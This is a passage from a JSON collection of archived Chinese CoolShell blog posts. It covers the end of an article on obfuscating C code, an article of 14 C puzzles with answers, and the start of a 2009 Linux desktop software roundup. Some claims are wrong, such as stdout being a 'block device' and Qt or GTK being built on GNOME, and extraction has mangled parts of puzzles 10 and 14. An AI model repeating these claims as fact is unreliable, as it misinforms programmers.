primes(m,t+1,c) : 0;\n}\n\nint main()\n{\n    primes(100,0,0);\n}\n</pre>\n<h4>第五步，继续弄乱变量名</h4>\n<p>我们知道，下划线是合法的变量名，所以，我们不妨用__，___，____来代替m，t，c。函数名也可以使用下划线来代替。让我们来看看求素数的函数能变成什么。</p>\n<pre class=\"EnlighterJSRAW\">\nvoid _(int __, int ___, int ____)\n{\n    ((___ / __) &lt;= 1) ? _(__,___+1,____) : !(___ % __) ? _(__,___+1,___ % __) :\n    ((___ % __)==(___ / __) &amp;&amp; !____) ? (printf(\"%dt\",(___ / __)),\n    _(__,___+1,____)) : ((___ % __) &gt; 1 &amp;&amp; (___ % __) &lt; (___ / __)) ?\n    _(__,___+1,____ + !((___ / __) % (___ % __))) : (___ &lt; __ * __) ?\n    _(__,___+1,____) : 0;\n}\n\nint main()\n{\n    _(100,0,0);\n}\n</pre>\n<h4>第六步，移除常量</h4>\n<p>在上面的程序中，还有一些常量，你可以通过增加一个宏定义，或是增加一个函数的形参来取代这一常量。</p>\n<pre class=\"EnlighterJSRAW\">\nvoid _(int __, int ___, int ____, int _____)\n{\n    ((___ / __) &lt;= _____) ? _(__,___+_____,____,_____) : !(___ % __) ? _(__,___+_____,___ % __, _____) :\n    ((___ % __)==(___ / __) &amp;&amp; !____) ? (printf(\"%dt\",(___ / __)),\n    _(__,___+_____,____,_____)) : ((___ % __) &gt; _____ &amp;&amp; (___ % __) &lt; (___ / __)) ?\n    _(__,___+_____,____,_____ + !((___ / __) % (___ % __))) : (___ &lt; __ * __) ?\n    _(__,___+_____,____,_____) : 0;\n}\n\nint main() {\n    _(100,0,0,1);\n}\n</pre>\n<p>程序到这里应该差不多了。还是那句话——“<strong>每一个程序员都有把源代码弄复杂的潜质</strong>”，大家好自为之。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/933.html\">如何加密/混乱C源代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-31 C语言的谜题.html",
    "content": "<html><body><p>这几天，本站推出了几篇关于C语言的很多文章如下所示：</p>\n<ul>\n<li><strong>语言的歧义</strong>  [<a href=\"https://coolshell.cn/articles/830.html\" target=\"_blank\">酷壳链接</a>]  [<a href=\"http://blog.csdn.net/haoel/archive/2009/05/18/4197010.aspx\" target=\"_blank\">CSDN链接</a>]</li>\n<li><strong>谁说C语言很简单？</strong> [<a href=\"https://coolshell.cn/articles/873.html\" target=\"_blank\">酷壳链接</a>]  [<a href=\"http://blog.csdn.net/haoel/archive/2009/05/26/4217950.aspx\" target=\"_blank\">CSDN链接</a>]</li>\n<li><strong>6个变态的C语言Hello World程序</strong> [<a href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\">酷壳链接</a>]  [<a href=\"http://blog.csdn.net/haoel/archive/2009/05/26/4217565.aspx\" target=\"_blank\">CSDN链接</a>]</li>\n<li><strong>如何加密/弄乱C源代码</strong>  [<a href=\"https://coolshell.cn/articles/933.html\" target=\"_blank\">酷壳链接</a>]  [<a href=\"http://blog.csdn.net/haoel/archive/2009/05/30/4225974.aspx\" target=\"_blank\">CSDN链接</a>]</li>\n<li><strong>C语言的谜题</strong>  [<a href=\"https://coolshell.cn/articles/945.html\" target=\"_blank\">酷壳链接</a>]  [<a href=\"http://blog.csdn.net/haoel/archive/2009/06/01/4231029.aspx\" target=\"_blank\">CSDN链接</a>]</li>\n</ul>\n<p>我们可以看到很多C语言相关的一些东西。比如《语言的歧义》主要告诉了大家C语言中你意想不到的错误以及一些歧义上的东西。而《谁说C语言很简单》则通过一些看似你从来不可能写出的代码来告诉大家C语言并不是一件容易事情。《6个变态的hello world》和《如何弄乱C的源代码》则以一种极端的方式告诉大家，不要以为咱们自己写不出混乱的代码，每个程序员其实都有把代码搞得一团乱的潜质。通过这些文章，相信你对编程或是你觉得很简单的C语言有了一些了解。是的，很不容易吧，以前是不是低估了编程和C语言？今天是否我们又在低估C++和Java呢？</p>\n<p>本篇文章《C语言的谜题》展示了14个C语言的迷题以及答案，代码应该是足够清楚的，而且我也相信有相当的一些例子可能是我们日常工作可能会见得到的。通过这些迷题，希望你能更了解C语言。如果你不看答案，不知道是否有把握回答各个谜题？让我们来试试。</p>\n<p><span id=\"more-945\"></span></p>\n<p><strong>1、下面的程序并不见得会输出 hello-std-out，你知道为什么吗？</strong></p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n#include &lt;unistd.h&gt;\nint main()  \n{\n    while(1)\n    {\n        fprintf(stdout,\"hello-std-out\");\n        fprintf(stderr,\"hello-std-err\");\n        sleep(1);\n    }\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：stdout和stderr是不是同设备描述符。stdout是块设备，stderr则不是。对于块设备，只有当下面几种情况下才会被输入，1）遇到回车，2）缓冲区满，3）flush被调用。而stderr则不会。</p>\n<p><strong>2、下面的程序看起来是正常的，使用了一个逗号表达式来做初始化。</strong>可惜这段程序是有问题的。你知道为什么呢？</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n\nint main()\n{\n    int a = 1,2;\n    printf(\"a : %d\\n\",a);\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：这个程序会得到编译出错（语法出错），逗号表达式是没错，可是在初始化和变量声明时，逗号并不是逗号表达式的意义。这点要区分，要修改上面这个程序，你需要加上括号： int a = (1,2);</p>\n<p><strong>3、下面的程序会有什么样的输出呢？</strong></p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()\n{\n    int i=43;\n    printf(\"%d\\n\",printf(\"%d\",printf(\"%d\",i)));\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：程序会输出4321，你知道为什么吗？要知道为什么，你需要知道printf的返回值是什么。printf返回值是输出的字符个数。</p>\n<p><strong>4、下面的程序会输出什么？</strong></p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()  \n{\n    float a = 12.5;\n    printf(\"%d\\n\", a);\n    printf(\"%d\\n\", (int)a);\n    printf(\"%d\\n\", *(int *)&amp;a);\n    return 0;  \n}\n</pre>\n<p><strong>参考答案</strong>：<br/>\n该项程序输出如下所示，<br/>\n    0<br/>\n    12<br/>\n    1095237632<br/>\n原因是：浮点数是4个字节，12.5f 转成二进制是：01000001010010000000000000000000，十六进制是：0x41480000，十进制是：1095237632。所以，第二和第三个输出相信大家也知道是为什么了。而对于第一个，为什么会输出0，我们需要了解一下float和double的内存布局，如下：</p>\n<ul>\n<li><strong>float</strong>: 1位符号位(s)、8位指数(e)，23位尾数(m,共32位) </li>\n<li><strong>double</strong>: 1位符号位(s)、11位指数(e)，52位尾数(m,共64位)</li>\n</ul>\n<p>然后，我们还需要了解一下printf由于类型不匹配，所以，会把float直接转成double，注意，12.5的float和double的内存二进制完全不一样。别忘了在x86芯片下使用是的反字节序，高位字节和低位字位要反过来。所以：</p>\n<ul>\n<li><strong>float版</strong>：0x41480000  (在内存中是：00 00 48 41)</li>\n<li><strong>double版</strong>：0x4029000000000000 (在内存中是：00 00 00 00 00 00 29 40)</li>\n</ul>\n<p>而我们的%d要求是一个4字节的int，对于double的内存布局，我们可以看到前四个字节是00，所以输出自然是0了。</p>\n<p>这个示例向我们说明printf并不是类型安全的，这就是为什么C++要引如cout的原因了。</p>\n<p><strong>5、下面，我们再来看一个交叉编译的事情，下面的两个文件可以编译通过吗？如果可以通过，结果是什么？</strong></p>\n<p>file1.c </p>\n<pre class=\"EnlighterJSRAW\">\n  int arr[80];\n</pre>\n<p>file2.c </p>\n<pre class=\"EnlighterJSRAW\">\nextern int *arr;\nint main()  \n{      \n    arr[1] = 100;\n    printf(\"%d\\n\", arr[1]);\n    return 0;  \n}\n</pre>\n<p><strong>参考答案</strong>：该程序可以编译通过，但运行时会出错。为什么呢？原因是，在另一个文件中用 extern int *arr来外部声明一个数组并不能得到实际的期望值，因为他们的类型并不匹配。所以导致指针实际并没有指向那个数组。注意：一个指向数组的指针，并不等于一个数组。修改：extern int arr[]。（参考：ISO C语言 6.5.4.2 节）</p>\n<p><strong>6、请说出下面的程序输出是多少？并解释为什么？</strong>（注意，该程序并不会输出 “b is 20″）</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()  \n{      \n    int a=1;      \n    switch(a)      \n    {   \n        int b=20;          \n        case 1: \n            printf(\"b is %d\\n\",b);\n            break;\n        default:\n            printf(\"b is %d\\n\",b);\n            break;\n    }\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：该程序在编译时，可能会出现一条warning: unreachable code at beginning of switch statement。我们以为进入switch后，变量b会被初始化，其实并不然，因为switch-case语句会把变量b的初始化直接就跳过了。所以，程序会输出一个随机的内存值。</p>\n<p><strong>7、请问下面的程序会有什么潜在的危险？</strong></p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()  \n{      \n    char str[80];\n    printf(\"Enter the string:\");\n    scanf(\"%s\",str);\n    printf(\"You entered:%s\\n\",str);\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：本题很简单了。这个程序的潜在问题是，如果用户输入了超过80个长度的字符，那么就会有数组越界的问题了，你的程序很有可以及会crash了。</p>\n<p><strong>8、请问下面的程序输出什么？</strong></p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()  \n{\n    int i;\n    i = 10;\n    printf(\"i : %d\\n\",i);\n    printf(\"sizeof(i++) is: %d\\n\",sizeof(i++));\n    printf(\"i : %d\\n\",i);\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：如果你觉得输出分别是，10，4，11，那么你就错了，错在了第三个，第一个是10没有什么问题，第二个是4，也没有什么问题，因为是32位机上一个int有4个字节。但是第三个为什么输出的不是11呢？居然还是10？原因是，sizeof不是一个函数，是一个操作符，其求i++的类型的size，这是一件可以在程序运行前（编译时）完全的事情，所以，sizeof(i++)直接就被4给取代了，在运行时也就不会有了i++这个表达式。</p>\n<p><strong>9、请问下面的程序的输出值是什么？</strong></p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n#define SIZEOF(arr) (sizeof(arr)/sizeof(arr[0]))\n#define PrintInt(expr) printf(\"%s:%d\\n\",#expr,(expr))\n\nint main()\n{\n    /* The powers of 10 */\n    int pot[] = {\n                    0001,\n                    0010,\n                    0100,\n                    1000\n                };\n\n    int i;\n    for(i=0;i&lt;SIZEOF(pot);i++)\n        PrintInt(pot[i]);\n        \n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：好吧，如果你对于PrintInt这个宏有问题的话，你可以去看一看《<a href=\"https://coolshell.cn/articles/830.html\">语言的歧义</a>》中的第四个示例。不过，本例的问题不在这里，本例的输出会是：1，8，64，1000，其实很简单了，以C/C++中，以0开头的数字都是八进制的。</p>\n<p><strong>10、请问下面的程序输出是什么？（绝对不是10）</strong></p>\n<pre>\n#include \n#define PrintInt(expr) printf(\"%s : %dn\",#expr,(expr))\n\nint main()  \n{\n    int y = 100;\n    int *p;\n    p = malloc(sizeof(int));\n    *p = 10;\n    y = y/*p; /*dividing y by *p */;\n    PrintInt(y);\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：本题输出的是100。为什么呢？问题就出在 y = y/*p;上了，我们本来想的是 y / (*p) ，然而，我们没有加入空格和括号，结果y/*p中的 /*被解释成了注释的开始。于是，这也是整个恶梦的开始。</p>\n<p><strong>11、下面的输出是什么？</strong></p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()  \n{\n    int i = 6;\n    if( ((++i &lt; 7) &amp;&amp; ( i++/6)) || (++i &lt;= 9))\n        ;\n\n    printf(\"%d\\n\",i);\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：本题并不简单的是考前缀++或反缀++，本题主要考的是&amp;&amp;和||的短路求值的问题。所为短路求值：对于（条件1 &amp;&amp; 条件2），如果“条件1”是false，那“条件2”的表达式会被忽略了。对于（条件1 || 条件2），如果“条件1”为true，而“条件2”的表达式则被忽略了。所以，我相信你会知道本题的答案是什么了。</p>\n<p><strong>12、下面的C程序是合法的吗？如果是，那么输出是什么？</strong></p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()  \n{ \n    int a=3, b = 5;\n\n    printf(&amp;a[\"Ya!Hello! how is this? %s\\n\"], &amp;b[\"junk/super\"]);\n    \n    printf(&amp;a[\"WHAT%c%c%c  %c%c  %c !\\n\"], 1[\"this\"],\n        2[\"beauty\"],0[\"tool\"],0[\"is\"],3[\"sensitive\"],4[\"CCCCCC\"]);\n        \n    return 0;  \n}\n</pre>\n<p><strong>参考答案</strong>：<br/>\n本例是合法的，输出如下：</p>\n<blockquote><p>   Hello! how is this? super<br/>\n    That  is  C !</p></blockquote>\n<p>本例主要展示了一种另类的用法。下面的两种用法是相同的：</p>\n<blockquote><p>    “hello”[2]<br/>\n    2[“hello”]</p></blockquote>\n<p>如果你知道：a[i] 其实就是 *(a+i)也就是 *(i+a)，所以如果写成 i[a] 应该也不难理解了。</p>\n<p><strong>13、请问下面的程序输出什么？</strong>（假设：输入 Hello, World）</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()  \n{ \n    char dummy[80];\n    printf(\"Enter a string:\\n\");\n    scanf(\"%[^r]\",dummy);\n    printf(\"%s\\n\",dummy);\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：本例的输出是“Hello, Wo”，scanf中的”%[^r]”是从中作梗的东西。意思是遇到字符r就结束了。</p>\n<p><strong>14、下面的程序试图使用“位操作”来完成“乘5”的操作，不过这个程序中有个BUG，你知道是什么吗？</strong></p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n#define PrintInt(expr) printf(\"%s : %d\\n\",#expr,(expr))\nint FiveTimes(int a)  \n{\n    int t;\n    t = a&lt;&lt;2 + a;\n    return t;\n}\n\nint main()  \n{\n    int a = 1, b = 2,c = 3;\n    PrintInt(FiveTimes(a));\n    PrintInt(FiveTimes(b));\n    PrintInt(FiveTimes(c));\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：本题的问题在于函数FiveTimes中的表达式“t = a\nint FiveTimes(int a)  \n{\n    int t;\n    t = (a&lt;&lt;2) + a;\n    return t;\n}\n\n</p><p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/945.html\">C语言的谜题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-31 最完美的Linux桌面软件.html",
    "content": "<html><body><p><strong><a href=\"http://lunduke.com/wp-content/uploads/2009/05/ubuntu-logo1.jpg\"><img alt=\"ubuntu-logo1\" class=\"alignright size-medium wp-image-627\" height=\"171\" src=\"../wp-content/uploads/2009/05/ubuntu-logo1-300x274.jpg\" title=\"ubuntu-logo1\" width=\"184\"/></a></strong><br/>\n下面是关于Linux桌面环境下，目前为止最完美的部分。之所以说他们完美，是因为他们不但很养眼，而且也使用最好的多媒体技术，有最好的可用性。在某些方面，他们甚至超过了Windows和Mac-OS。</p>\n<p> <br/>\n<a href=\"http://lunduke.com/wp-content/uploads/2009/05/ubuntu-logo1.jpg\"></a></p>\n<h2><strong>基础</strong></h2>\n<p><a href=\"http://www.debian.org/\"><span style=\"color: #000000;\">Debian</span></a> 或是 <a href=\"http://www.ubuntu.com/\"><span style=\"color: #000000;\">Ubuntu</span></a>。这两个分发包是目前使用最广泛的Linux桌面操作系统的分发包了。</p>\n<p><span id=\"more-936\"></span></p>\n<h2><strong>软件包管理器</strong></h2>\n<p>因为我们使用debian……所以<a href=\"http://en.wikipedia.org/wiki/Advanced_Packaging_Tool\"><span style=\"color: #000000;\">apt</span></a> 必然是软件包管理器中最不错的一个。</p>\n<h2><strong><a href=\"http://lunduke.com/wp-content/uploads/2009/05/gnome2.png\"><img alt=\"gnome2\" class=\"alignright size-full wp-image-628\" height=\"280\" src=\"../wp-content/uploads/2009/05/gnome2.png\" title=\"gnome2\" width=\"280\"/></a>桌面环境</strong></h2>\n<p>这可能是最难的一个了。</p>\n<p><a href=\"http://www.kde.org/\"><span style=\"color: #000000;\">KDE4</span></a> 是出色的，相当的出色。</p>\n<p><a href=\"http://www.qtsoftware.com/products/\"><span style=\"color: #000000;\">QT</span></a>, 基于Gnome建造，也非常出色。</p>\n<p>而在稳重方面， <a href=\"http://www.gnome.org/\"><span style=\"color: #000000;\">Gnome</span></a> 桌面则是桌面中更为出色的。</p>\n<p>而且，许多的应用基本上来说都是基于 <a href=\"http://www.gtk.org/\"><span style=\"color: #000000;\">GTK</span></a> 开发的，而GTK则是基于GNOME桌面环境的。</p>\n<p>所以，我们在这里选择 Gnome 作为最完美的图形桌面。对于KDE，只能非常抱歉了。</p>\n<p> </p>\n<h2><strong>快捷任务条（Dock）</strong></h2>\n<p>也许你并不喜欢docks，不过其的确可以帮你更方便地使用图形界面。</p>\n<p><a href=\"http://www.cairo-dock.org/index.php\"><span style=\"color: #000000;\">CairoDock</span></a>吗？ 当然，非常不错。那么  <a href=\"http://wiki.awn-project.org/\"><span style=\"color: #000000;\">AWN</span></a> 呢？  也不错。它们都有不同的很不错的功能。</p>\n<p>但是，因为我们选择了Gnome桌面，所以<a href=\"http://do.davebsd.com/\"><span style=\"color: #000000;\">Gnome-Do</span></a> 在这其中则是最完美的。</p>\n<p><a href=\"http://lunduke.com/wp-content/uploads/2009/05/docky1.jpg\"><img alt=\"docky1\" class=\"aligncenter size-full wp-image-634\" height=\"104\" src=\"../wp-content/uploads/2009/05/docky1.jpg\" title=\"docky1\" width=\"472\"/></a></p>\n<h2><strong>字体</strong></h2>\n<p>Linux默认的字体必需要被改变。你可以从 <a href=\"http://www.blambot.com/\"><span style=\"color: #000000;\">Blambot</span></a>获得一些相当不错的字体。</p>\n<p> </p>\n<p> </p>\n<p><a href=\"http://lunduke.com/wp-content/uploads/2009/05/jupiteroneioss3.png\"><img alt=\"jupiteroneioss3\" class=\"alignright size-medium wp-image-636\" height=\"191\" src=\"../wp-content/uploads/2009/05/jupiteroneioss3-300x191.png\" title=\"jupiteroneioss3\" width=\"300\"/></a><strong>风格/ 图标</strong></p>\n<p>这里有一些 <a href=\"http://www.gnome-look.org/\"><span style=\"color: #000000;\">怪异的但令人惊叹</span></a> 的风格和图标可以装典你的桌面。你可以挑选几个来美化你的桌面，的确很不错哦。</p>\n<p>在这样漂亮的桌面和背景下工作，你的心情都会变得轻松起来。</p>\n<p> </p>\n<h2><strong>应用商店（Application Store）</strong></h2>\n<p>你是不是早已听说过这个东西啦？</p>\n<p>我们需要重要Linux发行包可以被简单的拼装起来，并且包含一个“应用商店”（一个不错的桌面应用，用户可以容易地购买商业的软件和服务）。</p>\n<p>看看这个吧  <a href=\"http://www.cnr.com/\"><span style=\"color: #000000;\">Click N Run</span></a>。的确存在，基于Ubuntu。</p>\n<p> </p>\n<h2><strong>Office 套件</strong></h2>\n<p>这可能是最难的一个了。新面世的<a href=\"http://www.koffice.org/wordpress/\"><span style=\"color: #000000;\">KOffice</span></a> 的确是非常不错的。但是 <a href=\"http://www.openoffice.org/\"><span style=\"color: #000000;\">OpenOffice</span></a> 可能更好一些，必竟年头也最长，Bug和性能各方面应该都比较好。</p>\n<h2>音频/ 视频框架</h2>\n<p>让我们站在高山之上大喊这句话：  <a href=\"http://www.gstreamer.net/\"><span style=\"color: #000000;\">GStreamer</span></a> 是王中之王。</p>\n<p> <br/>\n<a href=\"http://lunduke.com/wp-content/uploads/2009/05/screenshot-miro.png\"><img alt=\"screenshot-miro\" class=\"alignright size-medium wp-image-639\" height=\"223\" src=\"../wp-content/uploads/2009/05/screenshot-miro-300x223.png\" title=\"screenshot-miro\" width=\"300\"/></a></p>\n<h2><strong>视频播放器</strong></h2>\n<p>有一个令人惊讶的播放器叫 <a href=\"http://www.getmiro.com/\"><span style=\"color: #000000;\">Miro</span></a> （原来叫做 Democracy Player）</p>\n<p>如果你的Linux安装了它，那么你的Linux就会变成一个最Cool的桌面系统，你可以相当轻松地找到并查看在线的视频。</p>\n<p> </p>\n<p> </p>\n<h2><strong>多媒体中心</strong></h2>\n<p>Windows 有一个<a href=\"http://en.wikipedia.org/wiki/Windows_Media_Center\"><span style=\"color: #000000;\">Windows Media Center</span></a>.  OS X 有<a href=\"http://en.wikipedia.org/wiki/Front_Row_(software)\"><span style=\"color: #000000;\">Front Row</span></a>.</p>\n<p>那么Linux下有什么？目前来说…… 几乎所有的Linux发行版没有包含这类应用。</p>\n<p>不过，我们依然有一些选择。</p>\n<p>我的选择是 <a href=\"http://www.moovida.com/\"><span style=\"color: #000000;\">Moovida</span></a> （正式的：Elisa）  它是有商业资助的，使用GStreamer。它比Apple的 Front Row更为强大。而且，其看上去很不错。</p>\n<p> <br/>\n<a href=\"http://lunduke.com/wp-content/uploads/2009/05/banshee-slide-dap.png\"><img alt=\"banshee-slide-dap\" class=\"alignright size-medium wp-image-640\" height=\"219\" src=\"../wp-content/uploads/2009/05/banshee-slide-dap-300x219.png\" title=\"banshee-slide-dap\" width=\"300\"/></a></p>\n<h2>音频播放器</h2>\n<p><a href=\"http://banshee-project.org/\"><span style=\"color: #000000;\">Banshee</span></a>，看看它到底有多简单。</p>\n<p>是的，是的，我知道。  <a href=\"http://amarok.kde.org/\"><span style=\"color: #000000;\">Amarok</span></a> 相当的不错。而且 <a href=\"http://projects.gnome.org/rhythmbox/\"><span style=\"color: #000000;\">Rhythmbox</span></a> 也很不错.</p>\n<p>不过 Banshee 更好一些，因为它被设计成为让用户有更多的选择可以去管理他们的音乐库。因为，当你的音频文件多起来时，你会发现，你是多么需要这样一个强大的管理功能的播放器啊。</p>\n<p> </p>\n<h2><strong>音频编辑器</strong></h2>\n<p>目前看下来，在音频编辑方面，Linux并不是很优秀，不过我们依然可以看到<a href=\"http://ardour.org/\"><span style=\"color: #000000;\">Ardour</span></a> 这样令人惊叹的软件，即使其功能还不是那么的强大。</p>\n<p>不过你可以试试<a href=\"http://www.jokosher.org/\"><span style=\"color: #000000;\">Jokosher</span></a>。这是一个很简单的但比较平常的音频编辑器。</p>\n<p> <br/>\n<img alt=\"400px-capture-pitivi_v01301\" class=\"alignright size-medium wp-image-573\" height=\"220\" src=\"../wp-content/uploads/2009/05/400px-capture-pitivi_v01301-300x220.jpg\" title=\"400px-capture-pitivi_v01301\" width=\"300\"/></p>\n<h2><strong>视频编辑器</strong></h2>\n<p><a href=\"http://www.pitivi.org/wiki/Main_Page\"><span style=\"color: #000000;\">Pitivi</span></a>. 商业资助的。一个绝对超前的。可以用于Gstreamer 的。如果让其和 <a href=\"http://en.wikipedia.org/wiki/IMovie\"><span style=\"color: #000000;\">iMovie</span></a>来比较的话，Pitivi依然是超前的… 不过，如果我们关注于其它关键应用，那么，这两个编辑器就难分高下了。</p>\n<h2><strong>图片管理器</strong></h2>\n<p><a href=\"http://f-spot.org/Main_Page\"><span style=\"color: #000000;\">F-Spot</span></a>. 不多说了，你试试就知道了。</p>\n<p> </p>\n<p> <br/>\n<a href=\"http://lunduke.com/wp-content/uploads/2009/05/yofrankie10.jpg\"><img alt=\"yofrankie10\" class=\"alignright size-medium wp-image-643\" height=\"173\" src=\"../wp-content/uploads/2009/05/yofrankie10-300x173.jpg\" title=\"yofrankie10\" width=\"300\"/></a></p>\n<h2>游戏</h2>\n<p>几乎所有的Linux发行版都会带有一堆游戏，当然这些游戏几乎没人去玩。</p>\n<p>下面是几个非常不错的游戏，值得你去试试。</p>\n<p>第一个是 <a href=\"http://www.yofrankie.org/\"><span style=\"color: #000000;\">Yo 